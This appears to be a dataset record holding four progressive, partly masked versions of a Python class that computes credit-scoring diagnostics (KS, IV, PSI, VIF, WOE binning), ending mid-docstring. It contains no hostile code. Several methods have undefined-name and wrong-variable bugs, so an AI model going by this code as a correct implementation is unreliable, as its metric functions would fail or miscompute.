{ "blob_id": "6336b31e51f0565c6b34ab5148645748fe899541", "index": 3829, "step-1": "<mask token>\n\n\nclass Get_res_DataFrame:\n <mask token>\n\n def __init__(self, lr, df, df_bin, df_woe, use_lst, woe_dic, type_train\n ='type_train', y='is_7_p'):\n self.df = df\n self.df_bin = df_bin\n self.df_woe = df_woe\n self.use_lst = use_lst\n self.woe_dic = woe_dic\n self.type_train = type_train\n self.model = lr\n self.y = y\n\n def main(self):\n print('d2_1 = self.get_2_1_imp()', 'd2_2 = self.get_2_2_des()',\n 'd2_3 = self.get_2_3_corr()',\n \"d3 = self.get_bin_ins_oot(type_lst=['ins', 'oot', 'oot2'])\")\n\n def get_2_1_imp(self, df):\n d1 = DataFrame(index=self.use_lst)\n cover_dic = dict(df[use_lst].notnull().sum())\n d1['auc'] = [round(0.5 + abs(0.5 - roc_auc_score(df[self.y], df[i])\n ), 3) for i in self.use_lst]\n d1['ks'] = [round(float(self.ks_calc_cross(df, name, self.y)[0][\n 'gap']), 3) for name in self.use_lst]\n d1['ins_iv'] = [round(self.cal_iv(df[df[self.type_train] == 'ins'],\n name, self.y), 3) for name in self.use_lst]\n d1['oot_iv'] = [round(self.cal_iv(df[df[self.type_train] == 'oot'],\n name, self.y), 3) for name in self.use_lst]\n d1['coef'] = [round(i, 4) for i in self.model.coef_[0]]\n d1 = d1.reset_index()\n d1['psi'] = [round(self.cal_psi(df, name), 5) for name in self.use_lst]\n d1['vif'] = [round(variance_inflation_factor(np.matrix(df[self.\n use_lst]), i), 3) for i in range(len(self.use_lst))]\n d1.index = range(1, d1.shape[0] + 1)\n return d1\n\n def get_2_2_des(self):\n df = self.df[self.df[self.type_train].isin(['ins', 'oot'])]\n df_data_des = df[self.use_lst].describe().T\n cover_dic = dict(df[use_lst].notnull().sum())\n df_data_des = df_data_des.reset_index()\n df_data_des['cover'] = df_data_des['index'].apply(lambda x: round(\n cover_dic[x] / df.shape[0], 4))\n df_data_des.index = df_data_des['index']\n df_data_des.drop(columns=['index', 'count'], inplace=True)\n d2_2 = df_data_des.reset_index()\n d2_2.index = range(1, d2_2.shape[0] + 1)\n return d2_2\n\n def get_2_3_corr(self):\n corr = np.corrcoef(np.array(self.df_woe[self.use_lst]).T)\n d2_3 = DataFrame(corr, columns=range(len(self.use_lst)), index=self\n .use_lst).reset_index()\n d2_3.index = range(1, d2_3.shape[0] + 1)\n return d2_3\n\n def get_bin_ins_oot(self, type_lst=['ins', 'oot', 'oot2']):\n res = []\n for loc, i in enumerate(type_lst):\n lst = []\n df_tmp = self.df_bin[self.df_bin[self.type_train] == i]\n for name in self.use_lst:\n dd_tmp = df_tmp.groupby(name).sum()[[self.y, 'count']]\n dd_tmp['bad_rate'] = dd_tmp[self.y] / dd_tmp['count']\n dd_tmp = dd_tmp.reset_index()\n dd_tmp['woe'] = dd_tmp[name].apply(lambda x: self.woe_dic[\n name][x])\n dd_tmp.sort_values(by='bad_rate', inplace=True)\n dd_tmp['sort_key'] = [(float(i.split(',')[0][1:]) if i[0] ==\n '(' else float('inf')) for i in dd_tmp[name]]\n dd_tmp.sort_values(by='sort_key', inplace=True)\n dd_tmp.drop(columns=['sort_key'], inplace=True)\n name1 = '-'\n d = DataFrame(columns=['slice', 'bad', 'count', 'bad_rio',\n 'woe'], data=[[str(name1), '-', '-', '-', '-']] +\n dd_tmp.values.tolist()[:], index=[[name]] + ['-'] *\n dd_tmp.shape[0])\n if loc < 1:\n split_name = '<-->' + str(i)\n else:\n split_name = str(type_lst[loc - 1]) + '<-->' + str(i)\n d[split_name] = [split_name for i in range(d.shape[0])]\n d = d[[split_name, 'slice', 'bad', 'count', 'bad_rio', 'woe']]\n lst.append(d)\n res.append(lst)\n return pd.concat((pd.concat(i for i in res[i]) for i in range(len(\n type_lst))), axis=1)\n\n def get_categories_df(self, df, cate='type_new', base_cut='ins', y=\n 'final_score'):\n df_tmp = copy.deepcopy(df[[cate, self.y, y]])\n df_tmp.rename(columns={cate: 'category', self.y: 'bad'}, inplace=True)\n cut_line = list(np.percentile(list(df_tmp[df_tmp['category'] ==\n base_cut][y]), range(1, 101, 10)))\n cut_line[0] = -float('inf')\n cut_line.append(float('inf'))\n df_tmp['bins'] = pd.cut(df_tmp[y], bins=cut_line)\n df_tmp['count'] = [(1) for i in range(df_tmp.shape[0])]\n ks_lst = []\n for i in sorted(Counter(df_tmp['category']).keys()):\n lst = list(ks_calc_cross(df_tmp[df_tmp['category'] == i],\n 'bins', 'bad')[1]['gap'])\n while len(lst) < 10:\n lst = [0] + lst\n ks_lst.extend(lst)\n df = df_tmp.groupby(['category', 'bins']).sum()[['bad', 'count']]\n df = df.reset_index()\n df['bad_rate'] = df['bad'] / df['count']\n df['ks'] = ks_lst\n for i in ['bad', 'count', 'bad_rate', 'ks']:\n df[i] = df[i].astype(float)\n df[['bad', 'count', 'bad_rate', 'ks']] = df[['bad', 'count',\n 'bad_rate', 'ks']].fillna(0)\n df.index = range(1, df.shape[0] + 1)\n return df\n\n def ks_calc_cross(self, data, pred, y_label):\n \"\"\"\n 功能: 计算KS值,输出对应分割点和累计分布函数曲线图\n 输入值:\n data: 二维数组或dataframe,包括模型得分和真实的标签\n pred: 一维数组或series,代表模型得分(一般为预测正类的概率)\n y_label: 一维数组或series,代表真实的标签({0,1}或{-1,1})\n 输出值:\n 'ks': KS值,'crossdens': 好坏客户累积概率分布以及其差值gap\n \"\"\"\n crossfreq = pd.crosstab(data[pred], data[y_label])\n crossdens = crossfreq.cumsum(axis=0) / crossfreq.sum()\n crossdens['gap'] = abs(crossdens[0] - crossdens[1])\n ks = crossdens[crossdens['gap'] == crossdens['gap'].max()]\n return ks, crossdens\n\n def cal_iv(self, df1, x, y='is_7_p'):\n df = copy.deepcopy(df1)\n if 'count' not in df.columns:\n df['count'] = [(1) for i in range(df.shape[0])]\n df_tmp = df[[x, 'count', y]].groupby(x).sum()\n df_tmp['good'] = df_tmp['count'] - df_tmp[y]\n df_tmp[y] = df_tmp[y].apply(lambda x: max(x, 1e-05) / sum(df_tmp[y]))\n df_tmp['good'] = df_tmp['good'].apply(lambda x: max(x, 1e-05) / sum\n (df_tmp['good']))\n df_tmp['woe'] = np.log(df_tmp[y] / df_tmp['good'])\n df_tmp['iv'] = (df_tmp[y] - df_tmp['good']) * df_tmp['woe']\n return df_tmp['iv'].sum()\n\n def cal_psi(self, df_sf_bin, name, lst=['ins', 'oot']):\n name1, name2 = lst\n df_in = copy.deepcopy(df_sf_bin[df_sf_bin['type_train'] == name1])\n sum_1 = df_in.shape[0]\n df_in['count1'] = [(1) for i in range(sum_1)]\n df_in = df_in.groupby(name).sum()[['count1']]\n df_out = copy.deepcopy(df_sf_bin[df_sf_bin['type_train'] == name2])\n sum_2 = df_out.shape[0]\n df_out['count2'] = [(1) for i in range(sum_2)]\n df_out = df_out.groupby(name).sum()[['count2']]\n df_psi = pd.concat((df_in, df_out), axis=1)\n df_psi['count1'] = df_psi['count1'].apply(lambda x: x / sum_1)\n df_psi['count2'] = df_psi['count2'].apply(lambda x: x / sum_2)\n df_psi[['count1', 'count2']].replace(0, 0.001, inplace=True)\n df_psi['psi_tmp'] = df_psi['count1'] / df_psi['count2']\n df_psi['psi_tmp'] = df_psi['psi_tmp'].apply(lambda x: math.log(x))\n df_psi['psi'] = (df_psi['count1'] - df_psi['count2']) * df_psi[\n 'psi_tmp']\n return sum(df_psi['psi'])\n\n\n<mask token>\n", "step-2": "<mask token>\n\n\nclass Get_res_DataFrame:\n \"\"\"\n sheet1:数据概况\n sheet2:变量的大小,效果,相关性 ok\n sheet3:分箱结果及woe ok\n sheet4:按单一类别分 输入 df[['类别', 'final_score']] cut_line依据 输出 并计算ks\n \n \n 通过输入不同的df来返回不同的df分析\n ins,oot,oot2 第一个函数\n 新老客区分 第一个函数 输入df_new, df_old, type_train\n 月份区分 第一个函数 输入df_new , df_old, month\n \"\"\"\n\n def __init__(self, lr, df, df_bin, df_woe, use_lst, woe_dic, type_train\n ='type_train', y='is_7_p'):\n self.df = df\n self.df_bin = df_bin\n self.df_woe = df_woe\n self.use_lst = use_lst\n self.woe_dic = woe_dic\n self.type_train = type_train\n self.model = lr\n self.y = y\n\n def main(self):\n print('d2_1 = self.get_2_1_imp()', 'd2_2 = self.get_2_2_des()',\n 'd2_3 = self.get_2_3_corr()',\n \"d3 = self.get_bin_ins_oot(type_lst=['ins', 'oot', 'oot2'])\")\n\n def get_2_1_imp(self, df):\n d1 = DataFrame(index=self.use_lst)\n cover_dic = dict(df[use_lst].notnull().sum())\n d1['auc'] = [round(0.5 + abs(0.5 - roc_auc_score(df[self.y], df[i])\n ), 3) for i in self.use_lst]\n d1['ks'] = [round(float(self.ks_calc_cross(df, name, self.y)[0][\n 'gap']), 3) for name in self.use_lst]\n d1['ins_iv'] = [round(self.cal_iv(df[df[self.type_train] == 'ins'],\n name, self.y), 3) for name in self.use_lst]\n d1['oot_iv'] = [round(self.cal_iv(df[df[self.type_train] == 'oot'],\n name, self.y), 3) for name in self.use_lst]\n d1['coef'] = [round(i, 4) for i in self.model.coef_[0]]\n d1 = d1.reset_index()\n d1['psi'] = [round(self.cal_psi(df, name), 5) for name in self.use_lst]\n d1['vif'] = [round(variance_inflation_factor(np.matrix(df[self.\n use_lst]), i), 3) for i in range(len(self.use_lst))]\n d1.index = range(1, d1.shape[0] + 1)\n return d1\n\n def get_2_2_des(self):\n df = self.df[self.df[self.type_train].isin(['ins', 'oot'])]\n df_data_des = df[self.use_lst].describe().T\n cover_dic = dict(df[use_lst].notnull().sum())\n df_data_des = df_data_des.reset_index()\n df_data_des['cover'] = df_data_des['index'].apply(lambda x: round(\n cover_dic[x] / df.shape[0], 4))\n df_data_des.index = df_data_des['index']\n df_data_des.drop(columns=['index', 'count'], inplace=True)\n d2_2 = df_data_des.reset_index()\n d2_2.index = range(1, d2_2.shape[0] + 1)\n return d2_2\n\n def get_2_3_corr(self):\n corr = np.corrcoef(np.array(self.df_woe[self.use_lst]).T)\n d2_3 = DataFrame(corr, columns=range(len(self.use_lst)), index=self\n .use_lst).reset_index()\n d2_3.index = range(1, d2_3.shape[0] + 1)\n return d2_3\n\n def get_bin_ins_oot(self, type_lst=['ins', 'oot', 'oot2']):\n res = []\n for loc, i in enumerate(type_lst):\n lst = []\n df_tmp = self.df_bin[self.df_bin[self.type_train] == i]\n for name in self.use_lst:\n dd_tmp = df_tmp.groupby(name).sum()[[self.y, 'count']]\n dd_tmp['bad_rate'] = dd_tmp[self.y] / dd_tmp['count']\n dd_tmp = dd_tmp.reset_index()\n dd_tmp['woe'] = dd_tmp[name].apply(lambda x: self.woe_dic[\n name][x])\n dd_tmp.sort_values(by='bad_rate', inplace=True)\n dd_tmp['sort_key'] = [(float(i.split(',')[0][1:]) if i[0] ==\n '(' else float('inf')) for i in dd_tmp[name]]\n dd_tmp.sort_values(by='sort_key', inplace=True)\n dd_tmp.drop(columns=['sort_key'], inplace=True)\n name1 = '-'\n d = DataFrame(columns=['slice', 'bad', 'count', 'bad_rio',\n 'woe'], data=[[str(name1), '-', '-', '-', '-']] +\n dd_tmp.values.tolist()[:], index=[[name]] + ['-'] *\n dd_tmp.shape[0])\n if loc < 1:\n split_name = '<-->' + str(i)\n else:\n split_name = str(type_lst[loc - 1]) + '<-->' + str(i)\n d[split_name] = [split_name for i in range(d.shape[0])]\n d = d[[split_name, 'slice', 'bad', 'count', 'bad_rio', 'woe']]\n lst.append(d)\n res.append(lst)\n return pd.concat((pd.concat(i for i in res[i]) for i in range(len(\n type_lst))), axis=1)\n\n def get_categories_df(self, df, cate='type_new', base_cut='ins', y=\n 'final_score'):\n df_tmp = copy.deepcopy(df[[cate, self.y, y]])\n df_tmp.rename(columns={cate: 'category', self.y: 'bad'}, inplace=True)\n cut_line = list(np.percentile(list(df_tmp[df_tmp['category'] ==\n base_cut][y]), range(1, 101, 10)))\n cut_line[0] = -float('inf')\n cut_line.append(float('inf'))\n df_tmp['bins'] = pd.cut(df_tmp[y], bins=cut_line)\n df_tmp['count'] = [(1) for i in range(df_tmp.shape[0])]\n ks_lst = []\n for i in sorted(Counter(df_tmp['category']).keys()):\n lst = list(ks_calc_cross(df_tmp[df_tmp['category'] == i],\n 'bins', 'bad')[1]['gap'])\n while len(lst) < 10:\n lst = [0] + lst\n ks_lst.extend(lst)\n df = df_tmp.groupby(['category', 'bins']).sum()[['bad', 'count']]\n df = df.reset_index()\n df['bad_rate'] = df['bad'] / df['count']\n df['ks'] = ks_lst\n for i in ['bad', 'count', 'bad_rate', 'ks']:\n df[i] = df[i].astype(float)\n df[['bad', 'count', 'bad_rate', 'ks']] = df[['bad', 'count',\n 'bad_rate', 'ks']].fillna(0)\n df.index = range(1, df.shape[0] + 1)\n return df\n\n def ks_calc_cross(self, data, pred, y_label):\n \"\"\"\n 功能: 计算KS值,输出对应分割点和累计分布函数曲线图\n 输入值:\n data: 二维数组或dataframe,包括模型得分和真实的标签\n pred: 一维数组或series,代表模型得分(一般为预测正类的概率)\n y_label: 一维数组或series,代表真实的标签({0,1}或{-1,1})\n 输出值:\n 'ks': KS值,'crossdens': 好坏客户累积概率分布以及其差值gap\n \"\"\"\n crossfreq = pd.crosstab(data[pred], data[y_label])\n crossdens = crossfreq.cumsum(axis=0) / crossfreq.sum()\n crossdens['gap'] = abs(crossdens[0] - crossdens[1])\n ks = crossdens[crossdens['gap'] == crossdens['gap'].max()]\n return ks, crossdens\n\n def cal_iv(self, df1, x, y='is_7_p'):\n df = copy.deepcopy(df1)\n if 'count' not in df.columns:\n df['count'] = [(1) for i in range(df.shape[0])]\n df_tmp = df[[x, 'count', y]].groupby(x).sum()\n df_tmp['good'] = df_tmp['count'] - df_tmp[y]\n df_tmp[y] = df_tmp[y].apply(lambda x: max(x, 1e-05) / sum(df_tmp[y]))\n df_tmp['good'] = df_tmp['good'].apply(lambda x: max(x, 1e-05) / sum\n (df_tmp['good']))\n df_tmp['woe'] = np.log(df_tmp[y] / df_tmp['good'])\n df_tmp['iv'] = (df_tmp[y] - df_tmp['good']) * df_tmp['woe']\n return df_tmp['iv'].sum()\n\n def cal_psi(self, df_sf_bin, name, lst=['ins', 'oot']):\n name1, name2 = lst\n df_in = copy.deepcopy(df_sf_bin[df_sf_bin['type_train'] == name1])\n sum_1 = df_in.shape[0]\n df_in['count1'] = [(1) for i in range(sum_1)]\n df_in = df_in.groupby(name).sum()[['count1']]\n df_out = copy.deepcopy(df_sf_bin[df_sf_bin['type_train'] == name2])\n sum_2 = df_out.shape[0]\n df_out['count2'] = [(1) for i in range(sum_2)]\n df_out = df_out.groupby(name).sum()[['count2']]\n df_psi = pd.concat((df_in, df_out), axis=1)\n df_psi['count1'] = df_psi['count1'].apply(lambda x: x / sum_1)\n df_psi['count2'] = df_psi['count2'].apply(lambda x: x / sum_2)\n df_psi[['count1', 'count2']].replace(0, 0.001, inplace=True)\n df_psi['psi_tmp'] = df_psi['count1'] / df_psi['count2']\n df_psi['psi_tmp'] = df_psi['psi_tmp'].apply(lambda x: math.log(x))\n df_psi['psi'] = (df_psi['count1'] - df_psi['count2']) * df_psi[\n 'psi_tmp']\n return sum(df_psi['psi'])\n\n\n<mask token>\n", "step-3": "<mask token>\n\n\nclass Get_res_DataFrame:\n \"\"\"\n sheet1:数据概况\n sheet2:变量的大小,效果,相关性 ok\n sheet3:分箱结果及woe ok\n sheet4:按单一类别分 输入 df[['类别', 'final_score']] cut_line依据 输出 并计算ks\n \n \n 通过输入不同的df来返回不同的df分析\n ins,oot,oot2 第一个函数\n 新老客区分 第一个函数 输入df_new, df_old, type_train\n 月份区分 第一个函数 输入df_new , df_old, month\n \"\"\"\n\n def __init__(self, lr, df, df_bin, df_woe, use_lst, woe_dic, type_train\n ='type_train', y='is_7_p'):\n self.df = df\n self.df_bin = df_bin\n self.df_woe = df_woe\n self.use_lst = use_lst\n self.woe_dic = woe_dic\n self.type_train = type_train\n self.model = lr\n self.y = y\n\n def main(self):\n print('d2_1 = self.get_2_1_imp()', 'd2_2 = self.get_2_2_des()',\n 'd2_3 = self.get_2_3_corr()',\n \"d3 = self.get_bin_ins_oot(type_lst=['ins', 'oot', 'oot2'])\")\n\n def get_2_1_imp(self, df):\n d1 = DataFrame(index=self.use_lst)\n cover_dic = dict(df[use_lst].notnull().sum())\n d1['auc'] = [round(0.5 + abs(0.5 - roc_auc_score(df[self.y], df[i])\n ), 3) for i in self.use_lst]\n d1['ks'] = [round(float(self.ks_calc_cross(df, name, self.y)[0][\n 'gap']), 3) for name in self.use_lst]\n d1['ins_iv'] = [round(self.cal_iv(df[df[self.type_train] == 'ins'],\n name, self.y), 3) for name in self.use_lst]\n d1['oot_iv'] = [round(self.cal_iv(df[df[self.type_train] == 'oot'],\n name, self.y), 3) for name in self.use_lst]\n d1['coef'] = [round(i, 4) for i in self.model.coef_[0]]\n d1 = d1.reset_index()\n d1['psi'] = [round(self.cal_psi(df, name), 5) for name in self.use_lst]\n d1['vif'] = [round(variance_inflation_factor(np.matrix(df[self.\n use_lst]), i), 3) for i in range(len(self.use_lst))]\n d1.index = range(1, d1.shape[0] + 1)\n return d1\n\n def get_2_2_des(self):\n df = self.df[self.df[self.type_train].isin(['ins', 'oot'])]\n df_data_des = df[self.use_lst].describe().T\n cover_dic = dict(df[use_lst].notnull().sum())\n df_data_des = df_data_des.reset_index()\n df_data_des['cover'] = df_data_des['index'].apply(lambda x: round(\n cover_dic[x] / df.shape[0], 4))\n df_data_des.index = df_data_des['index']\n df_data_des.drop(columns=['index', 'count'], inplace=True)\n d2_2 = df_data_des.reset_index()\n d2_2.index = range(1, d2_2.shape[0] + 1)\n return d2_2\n\n def get_2_3_corr(self):\n corr = np.corrcoef(np.array(self.df_woe[self.use_lst]).T)\n d2_3 = DataFrame(corr, columns=range(len(self.use_lst)), index=self\n .use_lst).reset_index()\n d2_3.index = range(1, d2_3.shape[0] + 1)\n return d2_3\n\n def get_bin_ins_oot(self, type_lst=['ins', 'oot', 'oot2']):\n res = []\n for loc, i in enumerate(type_lst):\n lst = []\n df_tmp = self.df_bin[self.df_bin[self.type_train] == i]\n for name in self.use_lst:\n dd_tmp = df_tmp.groupby(name).sum()[[self.y, 'count']]\n dd_tmp['bad_rate'] = dd_tmp[self.y] / dd_tmp['count']\n dd_tmp = dd_tmp.reset_index()\n dd_tmp['woe'] = dd_tmp[name].apply(lambda x: self.woe_dic[\n name][x])\n dd_tmp.sort_values(by='bad_rate', inplace=True)\n dd_tmp['sort_key'] = [(float(i.split(',')[0][1:]) if i[0] ==\n '(' else float('inf')) for i in dd_tmp[name]]\n dd_tmp.sort_values(by='sort_key', inplace=True)\n dd_tmp.drop(columns=['sort_key'], inplace=True)\n name1 = '-'\n d = DataFrame(columns=['slice', 'bad', 'count', 'bad_rio',\n 'woe'], data=[[str(name1), '-', '-', '-', '-']] +\n dd_tmp.values.tolist()[:], index=[[name]] + ['-'] *\n dd_tmp.shape[0])\n if loc < 1:\n split_name = '<-->' + str(i)\n else:\n split_name = str(type_lst[loc - 1]) + '<-->' + str(i)\n d[split_name] = [split_name for i in range(d.shape[0])]\n d = d[[split_name, 'slice', 'bad', 'count', 'bad_rio', 'woe']]\n lst.append(d)\n res.append(lst)\n return pd.concat((pd.concat(i for i in res[i]) for i in range(len(\n type_lst))), axis=1)\n\n def get_categories_df(self, df, cate='type_new', base_cut='ins', y=\n 'final_score'):\n df_tmp = copy.deepcopy(df[[cate, self.y, y]])\n df_tmp.rename(columns={cate: 'category', self.y: 'bad'}, inplace=True)\n cut_line = list(np.percentile(list(df_tmp[df_tmp['category'] ==\n base_cut][y]), range(1, 101, 10)))\n cut_line[0] = -float('inf')\n cut_line.append(float('inf'))\n df_tmp['bins'] = pd.cut(df_tmp[y], bins=cut_line)\n df_tmp['count'] = [(1) for i in range(df_tmp.shape[0])]\n ks_lst = []\n for i in sorted(Counter(df_tmp['category']).keys()):\n lst = list(ks_calc_cross(df_tmp[df_tmp['category'] == i],\n 'bins', 'bad')[1]['gap'])\n while len(lst) < 10:\n lst = [0] + lst\n ks_lst.extend(lst)\n df = df_tmp.groupby(['category', 'bins']).sum()[['bad', 'count']]\n df = df.reset_index()\n df['bad_rate'] = df['bad'] / df['count']\n df['ks'] = ks_lst\n for i in ['bad', 'count', 'bad_rate', 'ks']:\n df[i] = df[i].astype(float)\n df[['bad', 'count', 'bad_rate', 'ks']] = df[['bad', 'count',\n 'bad_rate', 'ks']].fillna(0)\n df.index = range(1, df.shape[0] + 1)\n return df\n\n def ks_calc_cross(self, data, pred, y_label):\n \"\"\"\n 功能: 计算KS值,输出对应分割点和累计分布函数曲线图\n 输入值:\n data: 二维数组或dataframe,包括模型得分和真实的标签\n pred: 一维数组或series,代表模型得分(一般为预测正类的概率)\n y_label: 一维数组或series,代表真实的标签({0,1}或{-1,1})\n 输出值:\n 'ks': KS值,'crossdens': 好坏客户累积概率分布以及其差值gap\n \"\"\"\n crossfreq = pd.crosstab(data[pred], data[y_label])\n crossdens = crossfreq.cumsum(axis=0) / crossfreq.sum()\n crossdens['gap'] = abs(crossdens[0] - crossdens[1])\n ks = crossdens[crossdens['gap'] == crossdens['gap'].max()]\n return ks, crossdens\n\n def cal_iv(self, df1, x, y='is_7_p'):\n df = copy.deepcopy(df1)\n if 'count' not in df.columns:\n df['count'] = [(1) for i in range(df.shape[0])]\n df_tmp = df[[x, 'count', y]].groupby(x).sum()\n df_tmp['good'] = df_tmp['count'] - df_tmp[y]\n df_tmp[y] = df_tmp[y].apply(lambda x: max(x, 1e-05) / sum(df_tmp[y]))\n df_tmp['good'] = df_tmp['good'].apply(lambda x: max(x, 1e-05) / sum\n (df_tmp['good']))\n df_tmp['woe'] = np.log(df_tmp[y] / df_tmp['good'])\n df_tmp['iv'] = (df_tmp[y] - df_tmp['good']) * df_tmp['woe']\n return df_tmp['iv'].sum()\n\n def cal_psi(self, df_sf_bin, name, lst=['ins', 'oot']):\n name1, name2 = lst\n df_in = copy.deepcopy(df_sf_bin[df_sf_bin['type_train'] == name1])\n sum_1 = df_in.shape[0]\n df_in['count1'] = [(1) for i in range(sum_1)]\n df_in = df_in.groupby(name).sum()[['count1']]\n df_out = copy.deepcopy(df_sf_bin[df_sf_bin['type_train'] == name2])\n sum_2 = df_out.shape[0]\n df_out['count2'] = [(1) for i in range(sum_2)]\n df_out = df_out.groupby(name).sum()[['count2']]\n df_psi = pd.concat((df_in, df_out), axis=1)\n df_psi['count1'] = df_psi['count1'].apply(lambda x: x / sum_1)\n df_psi['count2'] = df_psi['count2'].apply(lambda x: x / sum_2)\n df_psi[['count1', 'count2']].replace(0, 0.001, inplace=True)\n df_psi['psi_tmp'] = df_psi['count1'] / df_psi['count2']\n df_psi['psi_tmp'] = df_psi['psi_tmp'].apply(lambda x: math.log(x))\n df_psi['psi'] = (df_psi['count1'] - df_psi['count2']) * df_psi[\n 'psi_tmp']\n return sum(df_psi['psi'])\n\n\nif __name__ == '__main__':\n s = \"\"\"\n c=Get_res_DataFrame(lr, a.df, a.df_bin, df_pb_woe, use_lst,a.woe_dic, type_train='type_train', y='is_7_p')\n d2_1 = c.get_2_1_imp(df_pb_woe[df_pb_woe['customer_type_old']=='old_customer'])\n d2_2 = c.get_2_2_des()\n d2_3 = c.get_2_3_corr()\n \n d3 = c.get_bin_ins_oot(type_lst=['ins', 'oot'])\n d4 = c.get_categories_df(df_pb_all,cate='type_train',base_cut='ins', y='final_score')\n #\n df_new = df_pb_all[df_pb_all['customer_type_old']=='new_customer']\n df_old = df_pb_all[df_pb_all['customer_type_old']=='old_customer']\n #\n d5_1 = c.get_categories_df(df_new,cate='type_train',base_cut='ins', y='final_score')\n d5_2 = c.get_categories_df(df_old,cate='type_train',base_cut='ins', y='final_score')\n \n d6_1 = c.get_categories_df(df_new,cate='month',base_cut='0', y='final_score')\n d6_2 = c.get_categories_df(df_old,cate='month',base_cut='0', y='final_score')\n \"\"\"\n", "step-4": "import copy\nimport pandas as pd\nimport numpy as np\nfrom pandas import DataFrame\nfrom collections import Counter\nfrom sklearn.metrics import roc_auc_score, roc_curve\nfrom statsmodels.stats.outliers_influence import variance_inflation_factor\n\n\nclass Get_res_DataFrame:\n \"\"\"\n sheet1:数据概况\n sheet2:变量的大小,效果,相关性 ok\n sheet3:分箱结果及woe ok\n sheet4:按单一类别分 输入 df[['类别', 'final_score']] cut_line依据 输出 并计算ks\n \n \n 通过输入不同的df来返回不同的df分析\n ins,oot,oot2 第一个函数\n 新老客区分 第一个函数 输入df_new, df_old, type_train\n 月份区分 第一个函数 输入df_new , df_old, month\n \"\"\"\n\n def __init__(self, lr, df, df_bin, df_woe, use_lst, woe_dic, type_train\n ='type_train', y='is_7_p'):\n self.df = df\n self.df_bin = df_bin\n self.df_woe = df_woe\n self.use_lst = use_lst\n self.woe_dic = woe_dic\n self.type_train = type_train\n self.model = lr\n self.y = y\n\n def main(self):\n print('d2_1 = self.get_2_1_imp()', 'd2_2 = self.get_2_2_des()',\n 'd2_3 = self.get_2_3_corr()',\n \"d3 = self.get_bin_ins_oot(type_lst=['ins', 'oot', 'oot2'])\")\n\n def get_2_1_imp(self, df):\n d1 = DataFrame(index=self.use_lst)\n cover_dic = dict(df[use_lst].notnull().sum())\n d1['auc'] = [round(0.5 + abs(0.5 - roc_auc_score(df[self.y], df[i])\n ), 3) for i in self.use_lst]\n d1['ks'] = [round(float(self.ks_calc_cross(df, name, self.y)[0][\n 'gap']), 3) for name in self.use_lst]\n d1['ins_iv'] = [round(self.cal_iv(df[df[self.type_train] == 'ins'],\n name, self.y), 3) for name in self.use_lst]\n d1['oot_iv'] = [round(self.cal_iv(df[df[self.type_train] == 'oot'],\n name, self.y), 3) for name in self.use_lst]\n d1['coef'] = [round(i, 4) for i in self.model.coef_[0]]\n d1 = d1.reset_index()\n d1['psi'] = [round(self.cal_psi(df, name), 5) for name in self.use_lst]\n d1['vif'] = [round(variance_inflation_factor(np.matrix(df[self.\n use_lst]), i), 3) for i in range(len(self.use_lst))]\n d1.index = range(1, d1.shape[0] + 1)\n return d1\n\n def get_2_2_des(self):\n df = self.df[self.df[self.type_train].isin(['ins', 'oot'])]\n df_data_des = df[self.use_lst].describe().T\n cover_dic = dict(df[use_lst].notnull().sum())\n df_data_des = df_data_des.reset_index()\n df_data_des['cover'] = df_data_des['index'].apply(lambda x: round(\n cover_dic[x] / df.shape[0], 4))\n df_data_des.index = df_data_des['index']\n df_data_des.drop(columns=['index', 'count'], inplace=True)\n d2_2 = df_data_des.reset_index()\n d2_2.index = range(1, d2_2.shape[0] + 1)\n return d2_2\n\n def get_2_3_corr(self):\n corr = np.corrcoef(np.array(self.df_woe[self.use_lst]).T)\n d2_3 = DataFrame(corr, columns=range(len(self.use_lst)), index=self\n .use_lst).reset_index()\n d2_3.index = range(1, d2_3.shape[0] + 1)\n return d2_3\n\n def get_bin_ins_oot(self, type_lst=['ins', 'oot', 'oot2']):\n res = []\n for loc, i in enumerate(type_lst):\n lst = []\n df_tmp = self.df_bin[self.df_bin[self.type_train] == i]\n for name in self.use_lst:\n dd_tmp = df_tmp.groupby(name).sum()[[self.y, 'count']]\n dd_tmp['bad_rate'] = dd_tmp[self.y] / dd_tmp['count']\n dd_tmp = dd_tmp.reset_index()\n dd_tmp['woe'] = dd_tmp[name].apply(lambda x: self.woe_dic[\n name][x])\n dd_tmp.sort_values(by='bad_rate', inplace=True)\n dd_tmp['sort_key'] = [(float(i.split(',')[0][1:]) if i[0] ==\n '(' else float('inf')) for i in dd_tmp[name]]\n dd_tmp.sort_values(by='sort_key', inplace=True)\n dd_tmp.drop(columns=['sort_key'], inplace=True)\n name1 = '-'\n d = DataFrame(columns=['slice', 'bad', 'count', 'bad_rio',\n 'woe'], data=[[str(name1), '-', '-', '-', '-']] +\n dd_tmp.values.tolist()[:], index=[[name]] + ['-'] *\n dd_tmp.shape[0])\n if loc < 1:\n split_name = '<-->' + str(i)\n else:\n split_name = str(type_lst[loc - 1]) + '<-->' + str(i)\n d[split_name] = [split_name for i in range(d.shape[0])]\n d = d[[split_name, 'slice', 'bad', 'count', 'bad_rio', 'woe']]\n lst.append(d)\n res.append(lst)\n return pd.concat((pd.concat(i for i in res[i]) for i in range(len(\n type_lst))), axis=1)\n\n def get_categories_df(self, df, cate='type_new', base_cut='ins', y=\n 'final_score'):\n df_tmp = copy.deepcopy(df[[cate, self.y, y]])\n df_tmp.rename(columns={cate: 'category', self.y: 'bad'}, inplace=True)\n cut_line = list(np.percentile(list(df_tmp[df_tmp['category'] ==\n base_cut][y]), range(1, 101, 10)))\n cut_line[0] = -float('inf')\n cut_line.append(float('inf'))\n df_tmp['bins'] = pd.cut(df_tmp[y], bins=cut_line)\n df_tmp['count'] = [(1) for i in range(df_tmp.shape[0])]\n ks_lst = []\n for i in sorted(Counter(df_tmp['category']).keys()):\n lst = list(ks_calc_cross(df_tmp[df_tmp['category'] == i],\n 'bins', 'bad')[1]['gap'])\n while len(lst) < 10:\n lst = [0] + lst\n ks_lst.extend(lst)\n df = df_tmp.groupby(['category', 'bins']).sum()[['bad', 'count']]\n df = df.reset_index()\n df['bad_rate'] = df['bad'] / df['count']\n df['ks'] = ks_lst\n for i in ['bad', 'count', 'bad_rate', 'ks']:\n df[i] = df[i].astype(float)\n df[['bad', 'count', 'bad_rate', 'ks']] = df[['bad', 'count',\n 'bad_rate', 'ks']].fillna(0)\n df.index = range(1, df.shape[0] + 1)\n return df\n\n def ks_calc_cross(self, data, pred, y_label):\n \"\"\"\n 功能: 计算KS值,输出对应分割点和累计分布函数曲线图\n 输入值:\n data: 二维数组或dataframe,包括模型得分和真实的标签\n pred: 一维数组或series,代表模型得分(一般为预测正类的概率)\n y_label: 